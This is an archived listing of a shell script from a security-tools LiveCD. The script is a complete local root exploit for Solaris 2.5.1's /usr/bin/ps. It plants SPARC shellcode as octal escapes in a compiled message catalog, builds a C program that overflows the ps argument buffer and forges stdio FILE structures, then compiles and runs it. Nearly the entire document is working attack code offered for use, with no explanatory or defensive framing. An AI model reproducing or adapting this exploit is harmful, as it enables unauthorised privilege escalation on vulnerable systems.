home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / ps.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  3KB  |  97 lines

  1. #!/bin/sh
  2. #
  3. # Exploit for Solaris 2.5.1 /usr/bin/ps
  4. # J. Zbiciak, 5/18/97
  5. #
  6.  
  7. # change as appropriate
  8. CC=gcc
  9.  
  10. # Build the "replacement message" :-)
  11. cat > ps_expl.po << E_O_F
  12. domain "SUNW_OST_OSCMD"
  13. msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
  14. msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"
  15. E_O_F
  16.  
  17. msgfmt -o /tmp/foo ps_expl.po
  18.  
  19. # Build the C portion of the exploit
  20. cat > ps_expl.c << E_O_F
  21.  
  22. /*****************************************/
  23. /* Exploit for Solaris 2.5.1 /usr/bin/ps */
  24. /* J. Zbiciak,  5/18/97                  */
  25. /*****************************************/
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <sys/types.h>
  29. #include <unistd.h>
  30.  
  31. #define BUF_LENGTH      (632)
  32. #define EXTRA           (256)
  33.  
  34. int main(int argc, char *argv[])
  35. {
  36.         char buf[BUF_LENGTH + EXTRA];
  37.                       /* ps will grok this file for the exploit code */
  38.         char *envp[]={"NLSPATH=/tmp/foo",0};
  39.         u_long *long_p;
  40.         u_char *char_p;
  41.                         /* This will vary depending on your libc */
  42.         u_long proc_link=0xef70ef70;
  43.  
  44.         int i;
  45.  
  46.         long_p = (u_long *) buf;
  47.  
  48.         /* This first loop smashes the target buffer for optargs */
  49.         for (i = 0; i < (96) / sizeof(u_long); i++)
  50.                 *long_p++ = 0x10101010;
  51.  
  52.         /* At offset 96 is the environ ptr -- be careful not to mess it up */
  53.         *long_p++=0xeffffcb0;
  54.         *long_p++=0xffffffff;
  55.  
  56.         /* After that is the _ctype table.  Filling with 0x10101010 marks the
  57.            entire character set as being "uppercase printable". */
  58.         for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
  59.                 *long_p++ = 0x10101010;
  60.  
  61.         /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */
  62.         *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
  63.         *long_p++ = proc_link;    /* pointer to chars in buffer */
  64.         *long_p++ = proc_link;    /* pointer to buffer */
  65.         *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */
  66.         /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */
  67.  
  68.         /* build up _iob[1] */
  69.         *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
  70.         *long_p++ = proc_link;    /* pointer to chars in buffer */
  71.         *long_p++ = proc_link;    /* pointer to buffer */
  72.         *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */
  73.  
  74.         /* build up _iob[2] */
  75.         *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
  76.         *long_p++ = proc_link;    /* pointer to chars in buffer */
  77.         *long_p++ = proc_link;    /* pointer to buffer */
  78.         *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */
  79.  
  80.         *long_p =0;
  81.  
  82.         /* The following includes the invalid argument '-z' to force the
  83.            usage msg to appear after the arguments have been parsed. */
  84.         execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
  85.         perror("execle failed");
  86.  
  87.         return 0;
  88. }
  89. E_O_F
  90.  
  91. # Compile it
  92. $CC -o ps_expl ps_expl.c
  93.  
  94. # And off we go!
  95. exec ./ps_expl
  96.  
  97. #                 www.hack.co.za           [2000]#